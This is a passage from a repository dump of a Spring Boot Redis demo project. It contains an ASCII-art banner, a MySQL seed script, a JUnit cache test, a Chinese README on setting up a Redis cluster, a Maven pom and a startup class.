:.:::.::.::::::.:::::::::::.:.:::.::::.::.:::\n.:.:..::::.::::::.:.::tfGGfftDffLDfDGfffLLfDKEEDEEDKEKKKKKKEWEKWKKEWEWWEWKEKDDLDi::::::.::::: . . .;;;;i;j;;t;;;;..:.::;;;;;;;i;;:.. :..     .:::::::;::::;;:::::;:;:;:::;:;::;;::;:\n:.:::::.:.::::.:.:::iitDfGfGfLffGLDDfLGGffDEDKEDEEWKKWEWWEDWEKKKKKKKKKKKKWEEEDDLi::;::::::::. .....:;;t;;titit;,,,;.;,;,;;;;;t;;;::.:..::.::.  ::;::;::;i;,:ii;i;i:i:::;;:::;:::;,,;\n:::.:::::::.:::.:::iitfDfGDfDDfffDGDLDLLLGKDKEKEEKKKKKKKKKEEKKKK#KWKKEEKKEWEDEDLLi;:;:;:;::: . .  .,;;;;j;tt;;;;;;:;::;;;;;;;;;.:;::.:::;;;:::..;,:ii,i,;iiii,iiiii:i:i::i:;i:ii;iii\n;iii;;:;;:;::;:iiiijffKffGfLWGfLDGDLLDGDDEEEEDWEKKKKKKK#EKKKWE##WKKKKKKKEKDEDEWEEDDii;i::  : : .: :,;;;;j;t;;t;;:;;;;:;:;,;;;;;;;;:;,:;;;;::::.:.::ii:i,;,;;i:,i::i:i;,;:i:::;,,;ii,\n,;,;,,ii;,;,,:iiittttGDtGDfD#LLGLDfDLDGDEEDEDWEWEKKKKKKEEKDKKKKEWW#KKWKEWDKKKWEWWEEEGt:     :...:. ;;;;;;jtt;;;:;;;;,;;;;,;;;;;j;:,,:;,;;;;,::.:: :::;:;;;::,;;:i;,;:::,:::;::,:i::;\niiii;;;;:i,;;iG,itiffWLfDLDWEDfLGDDLDDDEKKEEEEEKKKKKKKKKEWEKKKKWKKKKKWWEEKKK#EWEEKDEEDG . ...:.:. :,;;;;t;;;;;,;;;;;;;;,;;;;itj;;;:;;;;;;;::....:  ::,;::,;:;::;::::::;:::::;::::;i:\n;,,;;,;ii:i:LEttijffDWffDDDWWDGLGDfDGDEEDEEEKEEWEKEWEKKKWEWWEWEE#WWEWEEWEKE#EWEKDEEDEDEi. ...::;:..;;;;t;;;;;;,;;;;;;;;;;;;;tij;;:;;,;i;;;;.:.:. .: ::::;:::::::::;::::::::::::;::::\n:::::::::::jGiittffDKWtLDEWKKDLDLLDLGDDEEDDKKEKEWWEWEKKKWEWWEWKWW#KWKKEKK#KKEWEWDEEDWDKEDj::..: : ;,;t;;;;;;;;;;;;;i;;;;;;;;;j;;,:;;;;;i;;,:..:.: : ::::::::::::::::::::::::::::::::\n::::::::::tKjijtffjE#EffDKKKDDGfGLGLDDEKDEDEKKWEWEWEWWEKKKKW#E##KWEWKKEWWEWEKEEEKKEKDEDEED.:::.:.:;;;;:.;;t;;;;;;it;;;;;;i;it;;:;;,;;;;;,;:.:.. . . :::::::::::::::::::.:::::::::.:.\n::::::::::D#iftffffWWDfGDKKKEDLDLLLLLDDDEEEWEKKEWWEWEKKKKKKKKW#WWKKKKKEWKEWEKKKKEEEKDEEDED::....:,;;;,:;;t;;t;;i;;;i;;;;;;;;j;;,;,;;;i;;;;;.::... : :::::::::::.:::.:.::::...::.:...\n:::.:::::EKfffjfffGWWLjDDEWDEDGfLLGGGDDDEEKKEWWEWWEWEKKEEWEWW#KWWKKKWEWWKWEKKKEKEEDEDKEKDED;..;::.;,,;;;t;;;;;;;;;;;;;;;;;;;;;;;;:;;;i;;,;:.::.. . .:.::::::::::::::::.::.:..::::::.\n..:.:.:.jWGfffffjfD#DDfDEKKEEDLDLLGLDDEDEKDEKKWKEEWEWWEWKKKKK#W#EWKWEWWK#WKKEKEEEEEEKDEDEDDt ::.;;,;:;;;;;;;;;;;;;;i;;;;;;;;,;,;:;;;i;;;;,.:.. :.:. :::.:::.:...:..:::.::.::::::..:.\n:::.:::.DKfGfffffLEWDDfDEKKEEGfDLDLGDDEEKDKKDWWEWWWWKKWEE#W#WK#WWWWKK##EWWEKKKEKEEEDEKEKDEED:..;:;;,;;;;;;;;;;;;;;;;;;;;;;;,;;;;;;;;;;;;,;:.:.:  ....:::: ::::::::::::::::::::::::.:\n:::.::::WfDLLffDfGKEDDfDEEWEDGDDDGGLDEDEEKKKEKKEWWEWWEWEEW#E#WEWWWKWWWKKKEKKKEDKKEWDEKDDEEEDG,::,:;,;;;;;:;;,;;;;,;:;;;,;:;,;;;;;i;;;i;;;,:.::. .....::.:..::::.::::::::;::;:;:;::::\n: :::: iELDDfffGfDWDGEfDDEDKEDLDDfDDDEDKEDEDKKKKWE#KWWWW#KK#WE#WW#KK#E#EWWEWKKKKKDEEKDEEDKDED::;:i;;;;,;:;::;;;,;;,;;;:;;;;;;;;;;;;;i;;,:,.:...... .::.:::..:..:::::::;;:;,;i:i,;i;:\n:::.:::fGDDDGffLjD#GDEfDDDKEDGDDLDGLEEEDKEDKKKKKKKKKKWEWWK#E#KK#WKW#KWKWEKKKKKKEKKKKEKDDEDDDD.:;GG;;:;;::;::;:;;:;;;;;;,;;;;;i;;i;;j;;;;;::.:: .. ..:.:.:.::::::.:::;;iiii;i;i;;i;i;\n.:::...DGDEWLtGffD#LDDfGEEDEDLDDDfDDDEDKDEEKKEEWKKWE#WKKKWEWKK#K#W#K#W#K#WKKEWEWKEDDKDKEEDEDE::jWG;;;;:;,:;;,;;:;;:,;,;;;i;ii;;;;;i;i;;:.:... :  : ...:..::..::::::;:iiiiiiiiiiiii;i\n:.::..fWDKKKLfDtLKWLKDfDDDDDGLDDDGDDEWEDEKEWEKKKKE#EWWKWKWWKKKW#KEWK#KWW##KKKKKDKDEEEEEDEDDDD::;;it;;:;:;;::;;;;;:;,;;;;;;;;tji;;;iti;;:...: ...... ....: ::......::;;iiitijiiiii;i;\n.:::.:GWEKKKDfDiDEWGKKfGDEDDEGDDDGDEKDEKKDKEEWWKKKKWEK#KWWKWWWWW#KWWWKWKKKKKEWEKKEWKKEKEKDDED;:::;;;;:;:::;;;,;:;;;;;;;;;i;;;jji;iti;;:;;::.:..  . ...:...: :.:.:::::iiiiiiii;iiii;i\n:...:iKDEW#ELDDiDWEDEKfDDGDEEDDDDDDEEEKEDKKEWEWKWWKKW#EWWWKKWE##KWEWWWWW#WWKKKKKKEDEEDEKDEEDDi.:;;;;:;:;;:;;,;:;;;;;i;;;;;;;tLjj;;;t;;;::.. . : ...:: ::....:  :.:.;:i;iiii;ii;;iii;\n.....fWLW#WEDDDjDKDKKKfDEDEWDDDEEEKDEEKEDWKKK##EWWKKWW#WWKKKWW#WK#WKWW#KWWWWWEKKKKEKDEDKDEKDE;:;::;:::;:;:;;;:;;;;;;;;;;;,;;jLj;;i;i;;;,.:...: : :.::..: : ....:.::::;iiiii;i;ii;i,;\n:..: GWLWWW#DDLfDDLKKKLGDEDEDEDDEDEKKDEWDEWEWKK#K#KWWWK#KKKKWWWEWWK#WKKK#KKEEKKKKDEEKDKEDEEDEi;:;;:;:;:;:;;;;;;;;i;i;;;;;;;;jGji;ti;;;,,:...:. .. .. :  :.::......:::;iii;iii;i;i,i;\n :..:DEDW#WELEffDDDWKKfDEEDKDGEDDWDKDKEEWEEWE#KKWWK#W#WWWEK#W#WK#KKK#KWEWWEWWKKKKKKEKEDEKDDDEj::;:;:;:;:;;;tLGGGLL;;;;;;:;,;LLLti;t;;;;:.:.. : :...::..: : t,....:::;:i;ii;i;,;i;i;,\n :...EEK##WEDDfLDEEW#DfDEEKDGDDDDKDEDKEDKWWWWKKKKE#WEW#EEKEWWW#K#W#KKWKKKKWEWKKKKKEKEEEEEDDEDj;:;:::;,tLEEEEEEKEKEDj;;;:;;;;ELj;i;t;;,:.:... : . .:::....,D,: ...:::;ii,ii;,;,ii;i,:\n: ..iWDE#K##EDffGDKKWELDDDEDDDEDKDEKKEEKKEEWWK#WW#KW#WW#WEKW#K#WWWWK#W#WEKKWKK#KKKEEEDEEEDEDEi:;::,;fGEEEEEEEEEEEEEDG;;;;;;;GGjtti;;;;;:.:: : : .... : .,jD..::...:::,;ii:iiii;:iii;\n : iEDEWW#WEEDjfDEE#EDfDDEDGDDEDDKEDKEWWEWWEWKKEWK#WWW#WEKW#K#W#W##KK#EWWWWK#WEWWEKEDEDDEWEEGj;::;jLEEEEEEEEDDEEKWEEEf,;,;;;GLjt;;i;;,:.:. .  .  :.::..,iDL :  : :::;ii;i;i:;,iii;;,\n::iWWWEE#K#WDLfLEDKK#DGGDDGDEDEDKEEKKKKKWWKK#KWW##WWW#KWKK#W#W#W#KWW#EWKWWKWWE#KKEKDEEDEDEDEDi;,tLLDEEEEEEDEDEDEEKKEEDEf;;;iELjij;;,;;,:.::..: :: : . ;ijG, :  :..:::i;,,;ii;i;,;ii;\n :W#KWEEW##WKLfGDKKEWDLDDDDEDDEEKDKDKKKWKWKWWWE#KK#W#WWWWWWW#KWWWWWWWWE#WWWWK#K#KKEEDEKEEEKDEffLGEEEEEEEDEDDDDDDEEWKKEEDDf;fDjtiti;;:;.:...:. .  ...:iijDi. : . ::::;ii;i;i;i;,i,;i:\n:f##DWDWWWWKELfGDWWWEELDELDDEEWEDEKKWWWKWKKWKKWEWK#K##EKWW##K#EW#WEWWWWKK#KWKKWEKEKEEEEKEDEKDLDEEEEEEEKDDDDDDDDDDEEKEEEDDELLGLjt;;;:,::.:.. ..: ....,ijDf....  : :.::;iiiii,ii;;iii;\niEW#DWEEW##KDDfDEKKWKDLDDGDEDWEDKEWE#WKKWEKKKEWW#W#W##WKW#W#KWK#E##W#WW#WWWWWW#WKEDWDKEDWEEDEDDEDEEEDEDEEDDDDDDDDDEKKKKEDEEKLjj;i;;;;::.:..... : ::.jijDj.: :.: :::::i:ii:i;;iiiiii:\nEWW#D#EEW#WWDDfDEKKWEDfDDDEDEWDEEKKKK#WKWKKKKKWWW#W#K#KWW#WWE#EWWW#E#W#WKWWWWKKKDEKEEKDDEEDWEDEEEEEEEDDEDDDDDDDDDDEEKKWKEDDWLjt;;;,;:,.:..... :.:.,tijLf. :.......::::;,:;,;,;;;,;;:\nK###DWKK#W#EELfDK#KKKGGDEDDEWKKKKEW##WWWWWEKEW#K#WW#WKK##K#E#WKW#WWW#KW#KK#WKKKEKKDEDEEEWDKKDDEEEDEDDDDDDDDDGDDDDDDEEEKKEEDEGLt;;;;;.::... ... .,,iijjDi :  ....::::::::i:::;::::;::\nEWW#D#WDWWW#DLLDKWEKKGGDDEDEKWEKKKWKWW#WWEEWEWWWWWWWWWE###WW#KKWWWW#E##K##WWWWEEDEEEDKDEEKKEEGEGEDDEDDDDDDDDDDGDGDDDEWKWKEEDLjt;;;;.,....::.....,t,ijfD,...: :.: .:.::::::::::::::::\nWEW#E#WEW#WWDGLDKKKWDLLDGDEDKWEKK#WW#W##WKEKEWW#KWWWKWWWW#W#WEW#W##K#WW#KW#WWEEEDEEDEEEKKKEEDKEDDDDDDDDDDGDGDDDGDGDDDEEKWWEELft;;,;;:...:....: .i,ijGDD.... .......: .:..:.:::.:.:::\nE##WE#EWWWKWDDfD#W#WELDLGEEEKKKEK#W#WW#EWEWEWWWWW#WWKW#WW##WWWWWWWWWWWWW##KEEDKEKKKEEEEK#WWEEWWEDDDDDDGGGDGDDGDDGDDDDEKKEKEWDft;;,:.:.: .... . .i,jfDDf: ....::..: :.... ::...:::...\nKE##W#WEW##WDGfDWWWKDLDfDEEEKKEKKWKW#W#WKWEWEWKK##EW#W#K##WW#EK#W##W#WWWWK#WEKEWEKEDEEKWWEEDK##WEDDDDGDDDGDGDDGDGDDDDEEEKWKEEEf;;;::.::.: ... ..iijLDDi: :..:  :  : ::.:: :.:.  : :.\nWE#KKWWD#KWEDGLEWWWEKfLDDDKKKKKK#W#WK#KWKKEWWKW#WK#WEW#WWW##WE##K###E##W#KKEEEEKWEWKEWKWWWEE###WKDGGGDGDGDGDDDDGGGDDDDEEKEKKEED;::;:.....:.. ..,iiLLDD;......::..:... ...: : ::: ::\n#KK##WWEWWEWDDLEW#KEEfDDEKKKKWE##W#WK#KWKK#KW#WWWE#W##W#W#WW#EWWW##WWWW#KEKEEDEKKWEEWW#WEEDE####WEDGGGGDDGDGDGGDGGDDDDEEEKEWKEEf;::.:. .: . . .iijLDDi.: : ....:..: :: :..: ..:: ::.\n###KW#WEW##WDDfKEW#WDLLDKKDKEWWKWW#K#W#K#KKWKKKWW#K#KK###W#W#K#W#KK#W##W#EKDKKEEKKKKK#KWWEDKWWW##WEDDGDGGDGDGGGDGDGDDDDEEKKKKKKD,.;:..: .......tjfGDD,....:: :.....: ....: :.:  : ..\n#WW#KWWDK#KWDDLD#W#EDfDDKWEWEKK#W#K##K#EWKWKK#KWWKW#KW#W#W###KKWWWW##W##WWEKDEEWKKKW#W#EKDEE###W#WKDGDGGGDGGDGGGDGDGDEEEEEKKEEKDf,,:.:.:. ... ,jjLDDf ::... :.:....:.:.:...:..::....\n#K####WD#E#EDDLEW#WEDfGEWEWEW#K##K#WW#EWKKWEWWWK##W#WW#W#WW#W#K#K###W#WKKEKDKEWK#W##W#WEDEKEW#WKWW#KDDGGDGGGGDDGGDDDDDEEKKEKEKEEEi;.:.:.. ....ijLLDD,.. :....::....:..:....:...: ::.\nW#K#WW#EK#WEDDfK#E#WDfDDWWEKKW#KW#K#WW##KWWWKWE#KWWWKK##W##W#WW#W#WWW#KKWKEKKKKKWE##W#KEDEEEKW##WWW#DGDDGDGDGGGGDGGDDDEDKEKEWEEEDL,:.:. : . .,tjfDDD :  : :: :: :: :  :  :....:: :.\n######WE#WEKDELEWW#EDfLEWKKKWW#WWWW#W#KKKKE#WKWWKW#W###W#W##WWW#K####KWEKKKKKKW##W##KKKDEKKEKWWWW#WWEDDGGGGGGDGDGDGDDEEEEKEKKEKEEDt.:.:..... tjjfEDD :  ... :  :..............  ...:\n#WWW#E#D#WEDEDLWWWWKDffKKWKK#W#WWWW##K##EWEW#K#K##W#W#W#W#WK#WEK##W#EKWEKWEW#K#WK#WKWKEEEDDEWWKWWWWWWKDDGGGGGDGDGDDDDEEEEEEEEEEEEDD :.:..:.: jjtDDDf. :.... : : :.... :  ..... ....:\nW###WW#EE#KEDDfEWWKKDfDDKKKWWK#WW#K##W#KKWWWWKKW#WWWKW#####W##W##W#KKKKKEEWWK#E##K##WWDDEDEDEWWEWWWWWKEDDGGGDGDGDGGDDEDEEKKKEEEEEED..:. . . .iijEDDj : .. ...  . .. .:  . .. .  .\n#WW###WKWWEDEDLKW#KEDfDEWKWK#W#KW#WWW#EWKKWWWWWKKK#W#W#W#K###W##W#KKKKKKKKWWWWW##W#KWEEEDEDEKKWKWWWWW#KDGDGGGGGGDGDDDDEEEEEEEEEEDEDi. :..::..jjjDDG,. . ..   : ..  : . :. ..: : : ..\nW#K#W##EWWWEDDLKWKKEDfDEEEW#KWK#WW#WK#WKWEWWWWW#WK#WWW###W#K###W###EKKW#WWE#WWWWWWWWEWDDEDDEEWKKWK#KWWWEDGGGDGDGDGDDDEDKEKEEEEKEEDDf,:. . . .tijDDf..   .. .. ..  :   .. : . . .\n#WWWW##EK#KEEDfKWKWEGfDEKKW#KKWW#K#KWWWWWEWW#E#K##K#KW###W#K#####KWEKKW#WWK##KKWKW#KKKDDDDDDDKWKKKKWW#WWDDGGDGDGGDDDDEDEEEKEEEDEDEDDL, .:...,jjGDDt : .: : ...... :  ... : ....: ..\n#W#W#W#WKKEDDDLKWW#EDfGKK#KW###WW#K#K#KKKWW#KWW#WW#K##K##K###W#W##EKKW#K#E#E#WWWWEKKWWEEDEEDEKKKKKWWKWWWEDDGGGGDDGDDDDEEEEEEKEEDEDDDDj.: ...tjDEDG,. .. . .: .: ....:.... : ... : ..\nWWW#W###EWKEDDLKKWKDDfGKKKW#WK#KWWWW#W#KWWWWEWK#WKW#KW##W###W####WWEWWW#WWE#K#WK#KWKWWEDEDEDEWKWKKKKWWWWWEDGDGGGDGDDDEEDEEEEEEDDDDEDDD.... .tDEDDD, ... :......... :  : .: :: .....\nWW###W##EWEEDDLKEWEKGfDEWW#W##WWW#KW#W#WE#WWWEW#WE#K###WK#WWK###WWEKWW#W#KWW#W#EEKKKW#WDDDDEDEKKKKKKKW#WWWWGGGGGDGDDDDEDEEEEEEDDDDDDDDj. ..;DEDDDL...:..:...:...::.........:..::..:\n##W#KW##EKWDGDfKKKKEDfDKEWWWWW#WK#K#WWWKWKW#KKK#WW#W##W#######W##WW#K##K##KW#KW#WEK#KKEEDKEDEDEWKWKWWKWKW#WDDGGGDGDDDEEEEEEEEDDDDDDDDDL,.. tEEDDDf..: ::..:: ::.::.::::..:..:..:.::.\nWWK#W###DEEEGDLEKKKKDfDEWK#K##W##W#EW#KWWW#KKW#W##WWWW##W#W#W##W#KEWKWW#KWK##W#KEEWW##KDEDDDEEDKWKWKWWWWWWWEDGDGGDDDDDEDEEEEDEDDDDDDDDGL .,tEDKDGf.:.:. :...:. :  :..:.::..: :. :...\nW#W#W###DEWEDGGEDKKEDLDKK#K#WW###W#WK#KWWW#EWW#W##W#K##WW#W#WW##WKKKKKWWWWWWK#KWKKK##KKEDEEDEEEDWKKKWKW#WWWWKDGGGDGDDDEDEEEEEDEDDDGDGDDDD.LDEEDDDj:..:::....::.:..: ::.:.... :...:.:\n#KW#WW##EEKDGDfDEKWEDLEK#K#K##W##K#KWWWWW#K#KWK###WW#W##W####W#KWE#EW##WWWW##WKKKK#WWKKDEDKKEEDEKWWWWKWKWWW#KEGGGGGDDEDEEEDEDDDDDDDDDGGGDjGDEDDDGj.:: ::.::: ::..::...: :.:::.....:\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis/src/main/resources/sql/t_user.sql",
    "content": "/*\nNavicat MySQL Data Transfer\n\nSource Server         : 127.0.0.1-mysql\nSource Server Version : 50718\nSource Host           : 127.0.0.1:3306\nSource Database       : test\n\nTarget Server Type    : MYSQL\nTarget Server Version : 50718\nFile Encoding         : 65001\n\nDate: 2018-02-27 16:12:19\n*/\n\nSET FOREIGN_KEY_CHECKS=0;\n\n-- ----------------------------\n-- Table structure for t_user\n-- ----------------------------\nDROP TABLE IF EXISTS `t_user`;\nCREATE TABLE `t_user` (\n  `id` int(11) NOT NULL AUTO_INCREMENT,\n  `username` varchar(255) DEFAULT NULL,\n  `password` varchar(255) DEFAULT NULL,\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB AUTO_INCREMENT=96 DEFAULT CHARSET=utf8;\n\n-- ----------------------------\n-- Records of t_user\n-- ----------------------------\nINSERT INTO `t_user` VALUES ('52', 'admin', 'admin');\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis/src/test/java/com/xncoding/service/UserServiceTest.java",
    "content": "package com.xncoding.service;\n\nimport com.xncoding.pos.Application;\nimport com.xncoding.pos.dao.entity.User;\nimport com.xncoding.pos.service.UserService;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\nimport org.springframework.transaction.annotation.Transactional;\n\nimport java.util.Random;\n\nimport static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.assertNull;\n\n\n/**\n * UserServiceTest\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/2\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = Application.class)\n@Transactional\npublic class UserServiceTest {\n    @Autowired\n    private UserService userService;\n    @Test\n    public void testCache() {\n        int id = new Random().nextInt(1000);\n        User user = new User(id, \"admin\", \"admin\");\n        userService.createUser(user);\n        User user1 = userService.getById(id); // 第1次访问\n        assertEquals(user1.getPassword(), \"admin\");\n        User user2 = userService.getById(id); // 第2次访问\n        assertEquals(user2.getPassword(), \"admin\");\n        user.setPassword(\"123456\");\n        userService.updateUser(user);\n        User user3 = userService.getById(id); // 第3次访问\n        assertEquals(user3.getPassword(), \"123456\");\n        userService.deleteById(id);\n        assertNull(userService.getById(id));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_cluster/README.md",
    "content": "#springboot-jedisCluster\n\n项目主框架采用springboot，介绍redis集群安装及redis3.0安装方式以及和jedisCluster结合使用的方法！\n\n##Redis 3.0 集群搭建\n\n### 虚拟机安装\n\n```\n开启两个虚拟机 ，分别在两个虚拟机上开启3个Redis实例，\n3主3从两个虚拟机里的实例互为主备，虚拟机安装非本文范畴，可查阅相关资料。\n\n下面分别在两个虚拟机上安装，在安装redis之前需要先将两台虚拟机防火墙关闭，并配置好网络，\n两台机器IP分别设置为：10.16.70.133，10.16.70.134。此处可根据自己网络环境自行设置。\n需要保证两台虚拟机均可连接外网，以方便执行yum安装相关软件。\n```\n\n### 安装ruby rubygems\n\n```\n    yum install ruby rubygems -y\n```\n\n### 安装Redis3.0.2\n\n```\n　　wget http://download.redis.io/releases/redis-3.0.2.tar.gz\n　　tar xzf redis-3.0.2.tar.gz\n　　cd redis-3.0.2\n　　make\n```\n##### 在执行 wget 命令时如果碰到如下提示，需要先执行命令：yum -y install wget\n\n```\n[root@centos7 local]# wget http://download.redis.io/releases/redis-3.0.2.tar.gz\n-bash: wget: command not found\n```\n\n##### 在执行 make 命令时，如果碰到如下提示，需要先执行命令：yum  install  gcc\n\n```\ncd src && make all\n………略………\n\"/bin/sh: cc: command not found\"\nmake[1]: *** [adlist.o] Error 127\nmake[1]: Leaving directory `/usr/local/redis-3.0.2/src'\nmake: *** [all] Error 2\n```\n\n##### 在执行 make 命令时，如果碰到如下提示，需要将 make 命令替换为： make MALLOC=libc\n\n```\n[root@centos7 redis-3.0.2]# make\ncd src && make all\nmake[1]: Entering directory `/usr/local/redis-3.0.2/src'\n    CC adlist.o\nIn file included from adlist.c:34:0:\nzmalloc.h:50:31: fatal error: jemalloc/jemalloc.h: No such file or directory\n #include <jemalloc/jemalloc.h>\n                               ^\ncompilation terminated.\nmake[1]: *** [adlist.o] Error 1\nmake[1]: Leaving directory `/usr/local/redis-3.0.2/src'\nmake: *** [all] Error 2\n```\n\n### 配置\n\n* 在两个机器上分别建立 6379 6380 6381 文件夹\n\n```\n　　[root@centos7 redis-3.0.2]# mkdir 6379 6380 6381\n　　[root@centos7 redis-3.0.2]# cp redis.conf 6379\n　　[root@centos7 redis-3.0.2]# cp redis.conf 6380\n　　[root@centos7 redis-3.0.2]# cp redis.conf 6381\n```\n\n### 分别修改位于文件夹6379，6380，6381下的Redis配置文件\n\n```\n    port 6379\n    pidfile redis-6379.pid\n    dbfilename dump-6379.rdb\n    appendfilename \"appendonly-6379.aof\"\n    cluster-config-file nodes-6379.conf\n    cluster-enabled yes\n    cluster-node-timeout 5000\n    appendonly yes\n```\n\n### 分别启动两个机器的Redis实例，更换端口，命令共在两台机器上执行6次\n\n```\n　　[root@centos7 src]# ./redis-server ../6379/redis.conf\n```\n\n### 启动集群　\n\n```\n　　[root@centos7 src]# ./redis-trib.rb create --replicas 1 10.16.70.133:6379 10.16.70.133:6380 10.16.70.133:6381\n 10.16.70.134:6379 10.16.70.134:6380 10.16.70.134:6381\n    　>>> Creating cluster\n      Connecting to node 10.16.70.133:6379: OK\n      Connecting to node 10.16.70.133:6380: OK\n      Connecting to node 10.16.70.133:6381: OK\n      Connecting to node 10.16.70.134:6379: OK\n      Connecting to node 10.16.70.134:6380: OK\n      Connecting to node 10.16.70.134:6381: OK\n      >>> Performing hash slots allocation on 6 nodes...\n      Using 3 masters:\n      10.16.70.133:6379\n      10.16.70.134:6379\n      10.16.70.133:6380\n      Adding replica 10.16.70.134:6380 to 10.16.70.133:6379\n      Adding replica 10.16.70.133:6381 to 10.16.70.134:6379\n      Adding replica 10.16.70.134:6381 to 10.16.70.133:6380\n      M: 11dcaf921094fe7d000e6b684072f50fe860ba62 10.16.70.133:6379\n         slots:0-5460 (5461 slots) master\n      M: f8767f679c53a949cbc65a1657a41617e4079bde 10.16.70.133:6380\n         slots:10923-16383 (5461 slots) master\n      S: 0b0c95e7c8f6e1f366a8cc265b2ca39a5b56f4fe 10.16.70.133:6381\n         replicates 52cf14a1919a9bf280aee2d0bfacd7811778bac8\n      M: 52cf14a1919a9bf280aee2d0bfacd7811778bac8 10.16.70.134:6379\n         slots:5461-10922 (5462 slots) master\n      S: 91273dcb163ddf54e6e0a50beac84ee034a9d92d 10.16.70.134:6380\n         replicates 11dcaf921094fe7d000e6b684072f50fe860ba62\n      S: 708710dd3926a5f61b65de2797385c3ac06c716a 10.16.70.134:6381\n         replicates f8767f679c53a949cbc65a1657a41617e4079bde\n      Can I set the above configuration? (type 'yes' to accept): yes\n      >>> Nodes configuration updated\n      >>> Assign a different config epoch to each node\n      >>> Sending CLUSTER MEET messages to join the cluster\n      Waiting for the cluster to join..\n      >>> Performing Cluster Check (using node 10.16.70.133:6379)\n      M: 11dcaf921094fe7d000e6b684072f50fe860ba62 10.16.70.133:6379\n         slots:0-5460 (5461 slots) master\n      M: f8767f679c53a949cbc65a1657a41617e4079bde 10.16.70.133:6380\n         slots:10923-16383 (5461 slots) master\n      M: 0b0c95e7c8f6e1f366a8cc265b2ca39a5b56f4fe 10.16.70.133:6381\n         slots: (0 slots) master\n         replicates 52cf14a1919a9bf280aee2d0bfacd7811778bac8\n      M: 52cf14a1919a9bf280aee2d0bfacd7811778bac8 10.16.70.134:6379\n         slots:5461-10922 (5462 slots) master\n      M: 91273dcb163ddf54e6e0a50beac84ee034a9d92d 10.16.70.134:6380\n         slots: (0 slots) master\n         replicates 11dcaf921094fe7d000e6b684072f50fe860ba62\n      M: 708710dd3926a5f61b65de2797385c3ac06c716a 10.16.70.134:6381\n         slots: (0 slots) master\n         replicates f8767f679c53a949cbc65a1657a41617e4079bde\n      [OK] All nodes agree about slots configuration.\n      >>> Check for open slots...\n      >>> Check slots coverage...\n      [OK] All 16384 slots covered.\n　　[root@centos7 src]#\n```\n##### 启动集群时，如果碰到如下提示，需要先执行命令 gem install redis --version 3.0.0\n\n```\n[root@centos7 src]# ./redis-trib.rb create --replicas 1 10.16.70.133:6379 10.16.70.133:6380 10.16.70.133:6381\n 10.16.70.134:6379 10.16.70.134:6380 10.16.70.134:6381\n /usr/share/rubygems/rubygems/core_ext/kernel_require.rb:55:in `require': cannot load such file -- redis (LoadError)\n\tfrom /usr/share/rubygems/rubygems/core_ext/kernel_require.rb:55:in `require'\n\tfrom ./redis-trib.rb:25:in `<main>'\n```\n\n###参考\n\nhttp://redisdoc.com/index.html\n\n### 期望\n\n欢迎提出更好的意见，帮助完善我们的项目，以督促我们前行！\n\n### 版权\n\n[Apache License 2.0](http://www.apache.org/licenses/LICENSE-2.0)\n\n### 捐赠\n\n![捐赠 springboot-jedisCluster](http://git.oschina.net/uploads/images/2016/1023/084255_833edeac_364262.png \"支持一下springboot-jedisCluster\")\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_cluster/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>springboot_redis_cluster</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>1.4.1.RELEASE</version>\n        <relativePath/>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <start-class>org.tdcg.Application</start-class>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-redis</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.google.guava</groupId>\n            <artifactId>guava</artifactId>\n            <version>17.0</version>\n        </dependency>\n\n        <dependency>\n            <groupId>commons-lang</groupId>\n            <artifactId>commons-lang</artifactId>\n            <version>2.6</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_cluster/src/main/java/com/jun/plugin/redis/Application.java",
    "content": "package com.jun.plugin.redis;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * @Title: Application\n * @Package: org.tdcg\n * @Description: 启动类\n * @Author: 二东 <zwd_1222@126.com>\n * @date: 2016/10/24\n * @Version: V1.0\n */\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_cluster/src/main/java/com/jun/plugin/redis/entity/User.java",
